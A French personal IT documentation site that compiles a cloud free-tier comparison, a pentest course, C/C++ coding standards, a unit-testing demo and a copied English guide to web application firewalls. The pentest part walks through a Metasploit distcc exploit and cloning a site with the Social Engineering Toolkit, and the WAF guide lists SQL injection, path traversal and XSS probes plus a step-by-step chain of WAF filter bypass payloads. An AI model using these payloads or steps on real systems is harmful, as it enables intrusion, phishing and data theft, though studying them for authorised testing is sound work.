Documentation
Général
Présentation du site
Bienvenue !
Bienvenue sur La Documentation de Nicolas, un espace regroupant une documentation variée principalement axée sur l'informatique.
Informations importantes
Les contenus proposés sur La Documentation de Nicolas sont destinés à un usage informatif et pédagogique. Malgré mes efforts pour garantir l'exactitude et la qualité des informations, des erreurs peuvent subsister. Je vous invite à croiser ces données avec d'autres sources pour confirmer leur fiabilité. Si vous trouvez une erreur ou une inexactitude, merci de la signaler à nicolas.lespinasse@vainsta.fr afin d'améliorer cette documentation.
Concernant les articles, certains d'entre eux sont rédigés par mes soins en français ou en anglais, mais une grande partie provient de sources diverses que j'ai sélectionnées pour leur utilité. Ces articles sont tirés de sources publiques et peuvent donc être copiés ou réutilisés librement. Ils sont principalement regroupés ici pour centraliser tout ce qui peut être utile de manière générale ou pour archiver les solutions aux problèmes que j'ai rencontrés, en cas de besoin futur.
Cloud Service Providers Free Tier Overview
Comparing the free tier offers of the major cloud providers like AWS, Azure, GCP, Oracle Cloud etc.
1. AWS
Homepage: AWS Free Tier
Always Free
- Amazon DynamoDB (NoSQL): 25 GB of storage
- AWS Lambda (FaaS): 1 Million free requests per month
- Amazon SNS: 1 Million publishes
2. Azure
Homepage: Azure Free Tier
Free for Limited-time
- US$200 credit for 30 days
- Popular services free for 12 months
Always Free
- 54+ other services free always
3. Google Cloud
Homepage: Google Cloud Free Tier
Always Free
- Compute VM: 0.25 vCPU, 1 GB RAM (only on us-west1, us-central1 and us-east1)
- 30 GB of standard persistent disk
- 1 GB of network egress (except China and Australia) - in premium tier
- 200 GB of network egress to any region in standard tier. (Comes with increased latency of around 20%.)
- BigQuery (SQL): 1 TB of querying per month and 10 GB of storage each month
- Cloud Storage: 5 GB-months of regional storage (US regions only) per month
4. Oracle Cloud
Homepage: Oracle Cloud Free Tier
Free for Limited-time 30 day free trial
- US $300 credit for 30 days
- Up to eight instances across all available services
- Up to 5 TB of storage
Always Free
- Compute: (Note- 1 Oracle OCPU = 2 vCPUs)
- 2 AMD-based VMs: 1/8 OCPU = 0.25 vCPU with 1 GB RAM each
- 4 Arm-based VMs: 24 GB RAM total, 3,000 OCPU hours and 18,000 GB memory hours per month
- 2 Block Volumes Storage, 200 GB total
- 10 GB Object Storage - Standard
- 10 GB Object Storage - Infrequent Access
- 10 GB Archive Storage
- 10TB of network data egress/month per originating region
- Resource Manager (managed terraform)
- 5 OCI Bastions
- 2 Oracle Autonomous Databases incl. Oracle Application Express (APEX), Oracle SQL Developer etc., each with 20GB storage
- NoSQL Database with 25GB storage per table, up to 3 tables
- 4 Load Balancers: 1 Flexible (10Mbps) and 3 Network
- Monitoring and Notifications
5. Alibaba Cloud
Homepage: Alibaba Cloud Free Trial
Try Over 40 Products for Free Worth $450-$1300 USD.
Now up to 12 Months Usage for Elastic Compute Services.
6. IBM Cloud
Homepage: IBM Cloud Free Tier
Free for Limited-time
- US$200 credit for 30 days
7. DigitalOcean
Homepage: DigitalOcean
Free for Limited-time
- $100 credit for 60 days from do.co/hf100
8. Hetzner Cloud
Homepage: Hetzner Cloud
Free for Limited-time
- sometimes they give away free credits
9. Render
Homepage: Render
Free for Limited-time
- sometimes they give away free credits
Always Free
- static site hosting
- web service
- Redis
- PostgreSQL
- 0.1vCPU, 512MB of RAM, 100GB bandwidth, running time of 750 hours per month
10. Netlify
Homepage: Netlify
Free for Limited-time
- sometimes they give away free credits
Always Free
- static site hosting
11. JFrog
Homepage: Jfrog Free Tier
Free for Limited-time
- Self-Hosted 30 day trial
Always Free
2GB Storage 10GB Transfer/month 2,000 CI/CD Minutes/month
12. Salesforce
Homepage: Salesforce Free Tier
Free for Limited-time
- Your FREE 30-Days Trial Now!
Always Free
When you download Listware for Salesforce, you are given 1,000 free credits which you can use during a free 30-day trial of the app.
13. OpenShift
Homepage: Interactive Learning Portal
Try out Openshift 4 cluster for free
Openshift 4: Try Openshift 4 cluster for free
14. Linode
Homepage: Linode
Free for Limited-time
- US$100, 60-day free trial requires valid credit card. free-credit-100
15. Container Hosting Service
Homepage: Container Hosting Service
Currently Free
- Container Hosting Service Try Open Source Container Hosting Service for free
16. Cloudflare
Homepage: Cloudflare
Always free on basic plan:
- NS server with DNS delegation
- 10GB R2 - S3 compatible object storage
- D1 - serverless SQL database
- CDN for delegated domains
- SSL offloading
- Web Application Firewall
- Workers & Pages - serverless functions
17. OVHcloud
Homepage: OVH
Free for Limited-time
200€ or equivalent on all public cloud ressources for 30 days
Always free
- Mongo DB 512 MB (with replication): https://www.ovhcloud.com/en/public-cloud/mongodb/
18. Tencent Cloud
Homepage: Tencent Cloud
Multiple alternative server locations for hosting in Asia: Shanghai, Nanjing, Guangzhou, Beijing, Chengdu, Chongqing, Hong Kong, Seoul, Tokyo, Singapore, Bangkok, Jakarta, Silicon Valley, Frankfurt, Mumbai, Virginia, São Paulo, Toronto
Free for Limited-time
Always Free
- Elastic Network Interface (ENI)
- Virtual Private Cloud (VOC)
- Auto Scaling (AS)
- VPN connections
19. Vercel
Homepage: Vercel
Always free
- Support for 35+ Frameworks
- Fast Globally (Edge Network)
- Automatic CI/CD (Git Integration)
- Functions (Serverless, Edge)
- Starter Database (KV, Postgres)
- Web Analytics
20. Zeabur
Homepage: Zeabur
Always free
- Serverless functions and static sites
- 10GB outbound data transfer per month
Always free for developer plan
- 100GB outbound data transfer per month
- US$ 5 usage fee per month
Pen Test - Test d'intrusion
Le Pen Test :
Le test d'intrusion peut être employé pour différentes cibles :
- Une adresse IP
- Une application
- Un serveur Web
- Un réseau complet
Les objectifs d'un test d'intrusion sont :
- Identifier les vulnérabilités de son système d'information ou de son application
- Évaluer le degré de risque de chaque faille identifiée
- Proposer des correctifs de manière priorisée
Le test d'intrusion permet donc de qualifier :
-
La sévérité de la vulnérabilité
-
La complexité de la correction
-
L'ordre de priorité qu’il faut donner aux corrections
Quand faire un test d'intrusion :
-
Durant la conception du projet
- Pendant la phase d'utilisation du composant ou du réseau (à intervalle régulier)
- Suite à une cyberattaque
Deux type de test :
- Interne
- Test d'intrusion depuis le réseau local
- Externe
- Test d'intrusion depuis internet
Il existe trois types de test :
- Le test en boite noir
- Le testeur n'as aucune information sur le réseau au début du test, il ne connait pas non-plus de mots de passes ou d'identifiants. Il va donc rechercher des informations sur l'entreprise en général pour l'aider à trouver des vulnérabilités.
- Le test en boite grise
- Le testeur dispose uniquement d'un couple identifiant/mot de passe que l'entreprise cible lui a fourni avant de démarrer la phase de test.
- L'objectif de ce test c'est de se mettre dans la peau d'un utilisateur "normal" au sein de l'entreprise cible.
- Le test en boite blanche
- Le testeur dispose de nombreuses informations comme des schémas d'infrastructure, le code source de l'application. La recherche de faille est donc très approfondie et très compète.
Les systèmes d'exploitations pour le Pen Test :
- Linux
- Kali Linux (regroupe l'ensemble des outils nécessaires pour procéder au test de sécurité d'un système d'information)
- Nmap (détecte les ports ouverts)
- Wireshark (analyse les trames réseau)
- Metasploit (fourni des informations sur les vulnérabilités des systèmes d'information et qui les exploites)
- Burp suite (sécurisation ou test d'intrusion des applications web)
- Kali Linux (regroupe l'ensemble des outils nécessaires pour procéder au test de sécurité d'un système d'information)
- Windows
- De nombreux logiciels similaires à ceux évoqués ci-dessus sont disponible sur Windows.
- Android
- Des outils très performants sont disponibles sur Android
- zANTI
- FaceNiff
- AndroRAT
- cSploit
- Des outils très performants sont disponibles sur Android
Préparer le Pen Test :
Premièrement, il faut définir un périmètre de test :
- Un Serveur
- Une partie d'un réseau
- Une IP publique
- Plusieurs IP publiques
- L'ensemble du réseau Interne
Avant de faire quoi que ce soit, il faut s'assurer de contracter avec l'entreprise cible pour ne pas avoir de problèmes juridiques ! Le document se nomme "mandat d'autorisation de test de pénétration"
Différentes attaques :
- DOS
- DDOS
- WEB
- Utilisation de failles connues
- Technique de l'homme du milieu
- L'utilisation de la technique de l'homme du milieu ou man-in-the-middle attack. Cette attaque consiste à se positionner au milieu dans la communication entre un client et un serveur pour intercepter et modifier les paquets échangés entre les deux machines. Le logiciel « Burp suite » permet de le faire.
- Forge de paquets HTTP
- Cette technique consiste à écrire manuellement des requêtes HTTP, qui vont ensuite être envoyées au serveur. Ces requêtes seront non standards, avec des malformations qui peuvent générer des plantages sur le serveur Web. Le logiciel Wfetch intégré à Microsoft IIS permet de le faire.
- Intégration de paramètres
- Ici, nous pouvons ajouter ou modifier des paramètres dans les chemins HTTP qui seront mal interprétés par le serveur et qui permettront de l'exploiter. Aucun logiciel n'est nécessaire car c'est faisable manuellement.
- Cross-site scripting ou XSS
- Le cross-site scripting ou XSS. C’est un type de faille de sécurité de sites Web permettant d'injecter du contenu dans une page, provoquant ainsi des actions sur les navigateurs Web visitant la page. Par exemple, sur un serveur vulnérable, dans une zone où les utilisateurs peuvent poster un commentaire, si l'on rajoute la suite de caractères <script>alert("This Website has been hacked")</script> au prochain affichage de la page, un script s’exécutera à la place d’afficher le commentaire.
- Injection SQL
- Outil sur Kali : BSQL
- Ingénierie Sociale
- Création de site clone via Kali : social engineering toolkit
Test des réseaux sans-fils :
- Scan : insider, wifi analyser, Lnissid.
- Injection de trafique : AiroDump, Rmon
- Écoute et enregistrement du trafique : WireShark
- Décryptage de clés : Cain&abel, Aircrack-ng
Équipements de protection :
- Pare-feu
- IDS
- IPS
- Honeypot = Simule des machines d'un réseau informatique (c'est un leurre)
- KFsensor
- Snort
Outils pour contourner ces protections :
- Nmap et Hping3 (gestion de fragmentation d'une attaque pour ne pas qu'elle soit identifiée)
- HTTP Host (côté serveur) et HTTP Port (côté client) = Établie un tunnel HTTP
- DNS2TCP = Établie un tunnel DNS
- Métasploit = Optenir et maintenir l'accès à distance sur une machine à l'intérieur d'un réseau cible
Partie Pratique :
Utiliser NMAP pour scanner un réseau :
nmap -sn 10.0.2.0 /24Utiliser NESSUS pour scanner un réseau :
dpkg -i PAQUET.debPuis nous démarrons le service :
/etc/init.d/nessusd startDéfinition du démarrage automatique :
update-rc.d nessusd enablePuis on met à jour metasploit :
msfconsole
aptupdate;aptinstallmetasploit-frameworkPuis, nous accédons au site https://kali:8834 :
On constate, après le scan, que le système n'a pas trouvé de vulnérabilités :
Si il y avait eu des vulnérabilités, on aurait été informés sur la façon de résoudre les problèmes de sécurité.
Utiliser The social engineering toolkit :
Pour lancer cette applications nous allons dans l'outils recherche, 13 - Social Enginering Tools.
En suite, nous devons accepter les termes du contrat :
Puis nous allons sélectionner l'option une :
Et puis, l'option 2 :
Puis, l'option 3 :
Et enfin l'option 2 :
Et puis on spécifie l'url à cloner :
Pour ne pas avoir de problème j'ai choisi un site qui m'appartient personnellement !
Résultat :
Utiliser MSFConsole pour accéder au Shell via une vulnérabilité :
service postgresql start
msfconsoleOn recherche un exploit :
search distccOn utilise l'exploit :
On va ensuite lister les payloads :
show payloads
On choisie un payload :
On affiche les paramètres :
Je définie l'adresse cible :
Dans cette exemple je me choisi moi-même !
Lancement de l'exploit :
exploitRapport de Pen Test :
Critères d'évaluations :
- Sévérité
- Standard CVSS
- Standard CVSS
- Complexité
- Facile
- Modérée
- Complexe
- Priorité
- Urgente
- Standard
- Basse
On peux chercher les détailles d'une faille via les numéros CVEC (numéro attribué à chaque faille rendue publique).
Le rapport du Pentest peut-être adressé au :
- DSI
- Responsable système et réseau
- Équipes d'informatiques
- Prestataires
Le rapport doit donc être rédigé de telle façon à ce qu'une personne ne possédant pas de capacité techniques poussée comprenne son contenu !
Structure :
- Format = PDF 10 pages
- Document confidentiel
- Rédigé en français ou en anglais
- Sommaire
- Contexte et périmètre
- Conditions du test internet / externe
- Méthodologie de test
- Axes d'évaluations
- Résultats
- Synthèses
Présenté le travail réalisé :
Il est préférable de faire une réunion avec le client pour revoir avec lui le rapport et les vulnérabilités trouvées. Il faut faire attention à la forme de la présentation. Il est important que le client comprenne vos travaux pour apporter une correction adéquate.
Programmation
Standard de codage
Définition (Wikipédia)
Les règles de codage sont un ensemble de règles à suivre pour uniformiser les pratiques de développement logiciel, diffuser les bonnes pratiques de développement et éviter les erreurs de développement “classiques” au sein d’un groupe de développeurs. Les règles de codage s’articulent autour de plusieurs thèmes, les plus courants étant :
- Le nommage et l’organisation des fichiers du code source
- Le style d’indentation
- Les conventions de nommage, ou règles de nommage
- Les commentaires et documentation du code source
- Recommandations sur la déclaration des variables
- Recommandations sur l’écriture des instructions, des structures de contrôle et l’usage des parenthèses dans les expressions.
Ressources documentaires
Indentation du code
En informatique : l’indentation consiste en l’ajout de tabulations ou d’espaces dans un fichier, pour une meilleure lecture et compréhension du code
Indenter automatiquement votre code
- Vous pouvez indenter automatiquement sous Qt le code source par les raccourcis suivants
CTRL+A sélectionne le texte
CTRL+I formate automatiquement la sélection dans QT
Lignes orphelines
Les lignes sans codes, ou lignes orphelines doivent être supprimées, sauf si elles servent à délimiter les blocs d’instructions (comme par exemple entre la déclaration des variables et le début des instructions)
Conventions de nommage à respecter
Déclaration des variables
- Les variables doivent avoir des noms représentatifs de leur contenu
**Exemple ( je veux déclarer un entier contenant des notes) **
int notes;
- Pour les tableaux, je fais précéder le nom du tableau de
tab
**Exemple (Je veux déclarer un tableau contenant des notes ( comme 14,34 ou 5,75) **
float tabNote[10];
- Pour les pointeurs, je fais précéder le nom du pointeur de
ptr
int *ptrNote = nullptr;
Convention de nommage
Je respecte la notation lowerCamelCase pour mes variables et fonctions
- Premier mot en minuscule
- Les mots suivants avec une majuscule
Variables et fonctions
**Exemple (Je veux déclarer un entier contenant un nombre de livres) **
int nombreLivre;
**Exemple (Je veux déclarer une fonction pour sauver une image en niveau de gris) **
void sauverImageNiveauGris();
Les macro
- Les noms des macro doivent être en majuscules
**Exemple, une macro qui calcule le max de deux nombres **
#define MAX(x,y) ((x)>(y)?(x):(y))
Les structures
- Le type de la structure doit commencer par une majuscule
**Exemple, j’ai une structure Pixel **
typedef struct {
unsigned char red;
unsigned char blue;
unsigned char green;
} Pixel;
- Je déclarerai une variable du type Pixel comme indiqué ci-dessous
Pixel monPixel;
Les classes
NOM DES CLASSES
- Chaque classe commencera par ‘C’ suivi du nom de la classe avec la première lettre en majuscule
**Exemple, une classe contenant des informations sur des avions sera déclarée ainsi **
class CAvion {
public :
//Méthodes publiques
private :
//Méthodes et attributs privés
};
MÉTHODES DE LA CLASSE
- Les méthodes de la classe respectent la convention lowerCamelCase
ATTRIBUTS DE LA CLASSE
- Pour les attributs, je fais précéder le nom de l’attribut de “_”
**Exemple (un attribut contenant un prénom) **
string _prenom;
CLASSE CAVION AVEC MÉTHODES ET ATTRIBUTS
class CAvion {
public :
int controlerAssiette();
private:
float _altitude;
};Documenter son code
Documentation des fichiers du projet
Chaque fichier doit avoir sa documentation au début de celui-ci
Exemple
/**
* @file Nom du fichier
* @brief Résumé du rôle du module/classe
* @brief On peut continuer le résumé sur plusieurs lignes
* @author Auteur du fichier
* @version v1.0
* @class Nom de la classe (si POO)
* @date 01/01/1900
*/
Documentation des fonctions ou méthodes
- La documentation doit être écrite dans les fichiers
.h - Chaque fonction/méthode doit avoir sa documentation avant son prototype
Cas général
/**
* @fn type nomFonction(type parametre1, type parametre2);
* @brief Résumé de la fonction
* @param type parametre1 : Le rôle du paramètre 1
* @param type parametre2 : Le rôle du paramètre 2
* @return type : le rôle de la valeur de retour
*/
type nomFonction(type parametre1, type parametre2);
Exemple : méthode string findClientName(int idClient);
/**
* @fn string findClientName(int idClient);
* @brief trouve le nom du client en fonction de son id
* @param int idClient : l'id du client à rechercher
* @return string : nom du client
*/
string findClientName(int idClient);
Attribut des classes
- Chaque attribut doit être documenté ainsi
Cas général
type nom; //!< rôle de l'attribut
Exemple
QSqlDatabase _dbParking; //!< base de données
Balises supplémentaires
@code
Cette balise permet d’insérer un exemple de code dans la documentation
/**
* @code
* #include <iostream>
*
* int main()
*{
* //Your code
*
* return 0;
*}
* @endcode
**/
Doxyfile
On peut ensuite générer la documentation grâce à doxygen
Si doxygen n’est pas installé sur le PC, exécuter la commande suivante
apt install doxygen graphviz doxygen-gui
Ensuite, on peut générer la documentation
-
Soit, en suivant le doxywizard dans le dossier du projet
doxywizard -
Soit en lançant directement la commande (il faut alors avoir un doxyfile cf-ci-après)
doxygen Doxyfile
Générer automatiquement la documentation avec le pipeline Gitlab CI/CD
- Ajouter le stage ci-dessous à votre fichier .gitlab-ci.yml
stages:
- deploy
pages:
stage: deploy
script:
- doxygen Doxyfile
- mv html/ public/
artifacts:
paths:
- public
ToDo
- La documentation générée n’est accessible que depuis notre réseau local
Tests unitaires démo pratique
1 - Un exemple avec des tests
Considérez l'exemple d'une structure de données "file" (ou queue en anglais), tel que les éléments les premiers entrés sont aussi les premiers sortis (First In, First Out) : https://git.vainsta.fr/share/queue.
Ce petit projet se compose de plusieurs fichiers, dont voici une brève description :
- le module queue (
queue.c+queue.h) - un exemple d'utilisation de la queue (
sample.c) - un fichier de tests du module queue (
test_queue.c) - le fichier
CMakeLists.txtpour compiler ce projet
La compilation du projet et l'exécution des tests se fait de la manière suivante :
$ mkdir build ; cd build
$ cmake .. ; make # compilation
$ make test # lancement des tests
La commande make test va lancer l'exécution de tous les tests définis dans CMakeLists.txt et qui sont implémentés dans le fichier test_queue.c. La fonction main() prend en paramètre le nom du test à exécuter (init_free, push, pop, length, empty) et appelle la fonction de test associée.
Ainsi, l'exécution de la commande ci-dessous exécute un test, qui a pour objectif de vérifier le code de la fonction queue_length() de notre module queue :
$ ./test_queue length # execution du test "length"
$ echo $? # afficher le code de retour de la commande précédente
0 # 0 => success!
On considère qu'un test est réussi (success) si et seulement si le code de retour du programme de test est égal à 0, c'est-à-dire que la fonction main() renvoie la valeur EXIT_SUCCESS (ou 0). Toutes les autres valeurs de retour correspondent à des cas d'erreur !
En résumé :
- 0 ou
EXIT_SUCCESS, l'exécution du test s'est terminé normalement en ne détectant aucun problème. - 1 ou
EXIT_FAILURE, l'exécution du test s'est terminé normalement en détectant un problème. - Des valeurs supérieures à 128 correspondent à des terminaisons anormales (programme de test tué par un signal), liés à une erreur grave comme un accès illégal à la mémoire (Segmentation Fault, 139), une division par zéro (Floating Point Exception, 136), ...
Plus l'écriture d'un test est "précise", plus il doit être facile de conclure qu'il y a un bug dans la fonction testée (et non pas dans une autre fonction). L'ensemble des tests doit couvrir toutes les fonctions de notre module et être le plus exhaustif possible !
Notez que la commande make test va appeler le framework CTest (intégré à CMake) qui affiche un petit rapport d'exécution de tous les tests...
$ make test
Running tests...
Test project /home/orel/Documents/pt2/misc/queue/build
Start 1: test_queue_new_free
1/8 Test #1: test_queue_new_free .............. Passed 0.00 sec
Start 2: test_queue_push_head
2/8 Test #2: test_queue_push_head ............. Passed 0.00 sec
Start 3: test_queue_pop_head
3/8 Test #3: test_queue_pop_head .............. Passed 0.00 sec
Start 4: test_queue_push_tail
4/8 Test #4: test_queue_push_tail ............. Passed 0.00 sec
Start 5: test_queue_pop_tail
5/8 Test #5: test_queue_pop_tail .............. Passed 0.00 sec
Start 6: test_queue_length
6/8 Test #6: test_queue_length ................ Passed 0.00 sec
Start 7: test_queue_empty
7/8 Test #7: test_queue_empty ................. Passed 0.00 sec
Start 8: test_queue_clear
8/8 Test #8: test_queue_clear ................. Passed 0.00 sec
100% tests passed, 0 tests failed out of 8
Total Test time (real) = 0.03 sec
2 - Annexes
Un exemple de fonction test
Voici un exemple de test (à compléter) pour la fonction game_is_empty() du jeu Takuzu :
bool test_is_empty(void)
{
game g = game_default();
bool test1 = game_is_empty(g, 0, 0);
bool test2 = !game_is_empty(g, 5, 5);
game_delete(g);
return test1 && test2;
}
Informatique
Everything about web application firewalls (WAFs) from a security perspective. 🔥
A Concise Definition: A firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. (Source: PCI DSS IS 6.6)
A web-application firewall sits between a user and a webapp and is tasked to prevent any malicious activity from reaching the webapp. A WAF either filters out the malicious part of the request or just simply blocks it.
Feel free to contribute.
Contents:
- Introduction
- Testing Methodology
- WAF Fingerprints
- Evasion Techniques
- Known Bypasses
- Awesome Tooling
- Blogs & Writeups
- Video Presentations
- Research Presentations & Papers
- Licensing & Credits
Introduction:
How WAFs Work:
- Using a set of rules to distinguish between normal requests and malicious requests.
- Sometimes they use a learning mode to add rules automatically through learning about user behaviour.
Operation Modes:
-
Negative Model (Blacklist based) - A blacklisting model uses pre-set signatures to block requests that are clearly malicious. The signatures of WAFs operating in a negative model are specifically crafted to prevent attacks which exploit certain web application vulnerabilities. Blacklisting model web application firewalls are a great choice for web applications exposed to the public internet and are highly effective against major vulnerabilities. Eg. Rule for blocking all
<script>*</script>inputs prevent basic cross-site scripting attacks. - Positive Model (Whitelist based) - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking potential large scale attacks, but will also block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
- Mixed/Hybrid Model (Inclusive model) - A hybrid security model blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet. A good scenario can be when web-application is facing the public internet (use blacklists) while the admin panel needs to be exposed to only a subset of users (use whitelists).
Testing Methodology:
Where To Look:
- Always look out for common ports that expose that a WAF, namely
80,443,8000,8080and8888ports. However, its important to note that a WAF can be easily deployed on any port running a HTTP service. It is good to enumerate HTTP service ports first hand and then look for WAFs. - Some WAFs set their own cookies in requests (e.g. Citrix Netscaler, Yunsuo WAF).
- Some associate themselves with separate headers (e.g. Anquanbao WAF, Amazon AWS WAF).
- Some often alter headers and jumble characters to confuse attacker (e.g. Netscaler, Big-IP).
- Some expose themselves in the
Serverheader (e.g. Approach, WTS WAF). - Some WAFs expose themselves in the response content (e.g. DotDefender, Armor, Sitelock).
- Other WAFs reply with unusual response codes upon malicious requests (e.g. WebKnight, 360 WAF).
Detection Techniques:
To identify WAFs, we need to (dummy) provoke it.
- Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
- Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
- Make GET requests to random open ports and grab banners which might expose the WAFs identity.
- On login pages, inject common (easily detectable) payloads like
" or 1 = 1 --. - Inject noisy payloads like
<script>alert()</script>into search bars, contact forms and other input fields. - Attach a dummy
../../../etc/passwdto a random parameter at end of URL. - Append some catchy keywords like
' OR SLEEP(5) OR 'at end of URLs to any random parameter. - Make GET requests with outdated protocols like
HTTP/0.9(HTTP/0.9does not support POST type queries). - Many a times, the WAF varies the
Serverheader upon different types of interactions. - Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.
Tip: This method could be easily achieved with tools like HPing3 or Scapy.
- Side Channel Attacks - Examine the timing behaviour of the request and response content.
Tip: More details can be found in a blogpost here.
WAF Fingerprints
Wanna fingerprint WAFs? Lets see how.
NOTE: This section contains manual WAF detection techniques. You might want to switch over to next section.
| WAF | Fingerprints |
| 360 |
|
| aeSecure |
|
| Airlock |
|
| AlertLogic |
|
| Aliyundun |
|
| Anquanbao |
|
| Anyu |
|
| Approach |
|
| Armor Defense |
|
| ArvanCloud |
|
| ASPA |
|
| ASP.NET Generic |
|
| Astra |
|
| AWS ELB |
|
| Baidu Yunjiasu |
|
| Barikode |
|
| Barracuda |
|
| Bekchy |
|
| BinarySec |
|
| BitNinja |
|
| BIG-IP ASM |
|
| BlockDos |
|
| Bluedon IST |
|
| BulletProof Security Pro |
|
| CDN NS Application Gateway |
|
| Cerber (WordPress) |
|
| Chaitin Safeline |
|
| ChinaCache |
|
| Cisco ACE XML Gateway |
|
| Cloudbric |
|
| Cloudflare |
|
| CloudfloorDNS |
|
| Cloudfront |
|
| Comodo cWatch |
|
| CrawlProtect |
|
| Deny-All |
|
| Distil Web Protection |
|
| DoSArrest Internet Security |
|
| DotDefender |
|
| DynamicWeb Injection Check |
|
| e3Learning Security |
|
| EdgeCast (Verizon) |
|
| Eisoo Cloud |
|
| Expression Engine |
|
| F5 ASM |
|
| FortiWeb |
|
| GoDaddy |
|
| GreyWizard |
|
| Huawei Cloud |
|
| HyperGuard |
|
| IBM DataPower |
|
| Imperva Incapsula |
|
| Imunify360 |
|
| IndusGuard |
|
| Instart DX |
|
| ISA Server |
|
| Janusec Application Gateway |
|
| Jiasule |
|
| KeyCDN |
|
| KnownSec |
|
| KONA Site Defender (Akamai) |
|
| LiteSpeed |
|
| Malcare |
|
| MissionControl Application Shield |
|
| ModSecurity |
|
| ModSecurity CRS |
|
| NAXSI |
|
| Nemesida |
|
| Netcontinuum |
|
| NetScaler AppFirewall |
|
| NevisProxy |
|
| NewDefend |
|
| Nexusguard |
|
| NinjaFirewall |
|
| NSFocus |
|
| NullDDoS |
|
| onMessage Shield |
|
| OpenResty Lua WAF |
|
| Palo Alto |
|
| PentaWAF |
|
| PerimeterX |
|
| pkSecurityModule IDS |
|
| Positive Technologies Application Firewall |
|
| PowerCDN |
|
| Profense |
|
| Proventia (IBM) |
|
| Puhui |
|
| Qiniu CDN |
|
| Radware Appwall |
|
| Reblaze |
|
| Request Validation Mode |
|
| RSFirewall |
|
| Sabre |
|
| Safe3 |
|
| SafeDog |
|
| SecKing |
|
| SecuPress |
|
| Secure Entry |
|
| SecureIIS |
|
| SecureSphere |
|
| SEnginx |
|
| ServerDefender VP |
|
| Shadow Daemon |
|
| ShieldSecurity |
|
| SiteGround |
|
| SiteGuard (JP Secure) |
|
| SiteLock TrueShield |
|
| SonicWall |
|
| Sophos UTM |
|
| SquareSpace |
|
| SquidProxy IDS |
|
| StackPath |
|
| Stingray |
|
| Sucuri CloudProxy |
|
| Synology Cloud |
|
| Tencent Cloud |
|
| Teros |
|
| TrafficShield |
|
| TransIP |
|
| UCloud UEWaf |
|
| URLMaster SecurityCheck |
|
| URLScan |
|
| USP Secure Entry |
|
| Varnish (OWASP) |
|
| Varnish CacheWall |
|
| Viettel |
|
| VirusDie |
|
| WallArm |
|
| WatchGuard IPS |
|
| WebARX Security |
|
| WebKnight |
|
| WebLand |
|
| WebRay |
|
| WebSEAL |
|
| WebTotem |
|
| West263CDN |
|
| Wordfence |
|
| WTS-WAF |
|
| XLabs Security WAF |
|
| Xuanwudun WAF |
|
| Yunaq Chuangyu |
|
| Yundun |
|
| Yunsuo |
|
| YxLink |
|
| ZenEdge |
|
| ZScaler |
|
Evasion Techniques
Lets look at some methods of bypassing and evading WAFs.
Fuzzing/Bruteforcing:
Method:
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
- Wordlists specifically for fuzzing
Technique:
- Load up your wordlist into fuzzer and start the bruteforce.
- Record/log all responses from the different payloads fuzzed.
- Use random user-agents, ranging from Chrome Desktop to iPhone browser.
- If blocking noticed, increase fuzz latency (eg. 2-4 secs).
- Always use proxychains, since chances are real that your IP gets blocked.
Drawbacks:
- This method often fails.
- Many a times your IP will be blocked (temporarily/permanently).
Regex Reversing:
Method:
- Most efficient method of bypassing WAFs.
- Some WAFs rely upon matching the attack payloads with the signatures in their databases.
- Payload matches the reg-ex the WAF triggers alarm.
Techniques:
Blacklisting Detection/Bypass
- In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted.
- The idea is to guess the regex and craft the next payloads which doesn't use the blacklisted keywords.
Case: SQL Injection
• Step 1:
Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)
-
Blocked Attempt:
union select user, password from users -
Bypassed Injection:
1 || (select user from users where user_id = 1) = 'admin'
• Step 2:
Keywords Filtered: and, or, union, where
-
Blocked Attempt:
1 || (select user from users where user_id = 1) = 'admin' -
Bypassed Injection:
1 || (select user from users limit 1) = 'admin'
• Step 3:
Keywords Filtered: and, or, union, where, limit
-
Blocked Attempt:
1 || (select user from users limit 1) = 'admin' -
Bypassed Injection:
1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Step 4:
Keywords Filtered: and, or, union, where, limit, group by
-
Blocked Attempt:
1 || (select user from users group by user_id having user_id = 1) = 'admin' -
Bypassed Injection:
1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
• Step 5:
Keywords Filtered: and, or, union, where, limit, group by, select
-
Blocked Attempt:
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 -
Bypassed Injection:
1 || 1 = 1 into outfile 'result.txt' -
Bypassed Injection:
1 || substr(user,1,1) = 'a'
• Step 6:
Keywords Filtered: and, or, union, where, limit, group by, select, '
-
Blocked Attempt:
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 -
Bypassed Injection:
1 || user_id is not null -
Bypassed Injection:
1 || substr(user,1,1) = 0x61 -
Bypassed Injection:
1 || substr(user,1,1) = unhex(61)
• Step 7:
Keywords Filtered: and, or, union, where, limit, group by, select, ', hex
-
Blocked Attempt:
1 || substr(user,1,1) = unhex(61) -
Bypassed Injection:
1 || substr(user,1,1) = lower(conv(11,10,36))
• Step 8:
Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr
-
Blocked Attempt:
1 || substr(user,1,1) = lower(conv(11,10,36)) -
Bypassed Injection:
1 || lpad(user,7,1)
• Step 9:
Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr, white space
-
Blocked Attempt:
1 || lpad(user,7,1) -
Bypassed Injection:
1%0b||%0blpad(user,7,1)
Obfuscation:
Method:
- Encoding payload to different encodings (a hit and trial approach).
- You can encode whole payload, or some parts of it and test recursively.
Techniques:
1. Case Toggling
- Some poorly developed WAFs filter selectively specific case WAFs.
- We can combine upper and lower case characters for developing efficient payloads.
Standard: <script>alert()</script>
Bypassed: <ScRipT>alert()</sCRipT>
Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
2. URL Encoding
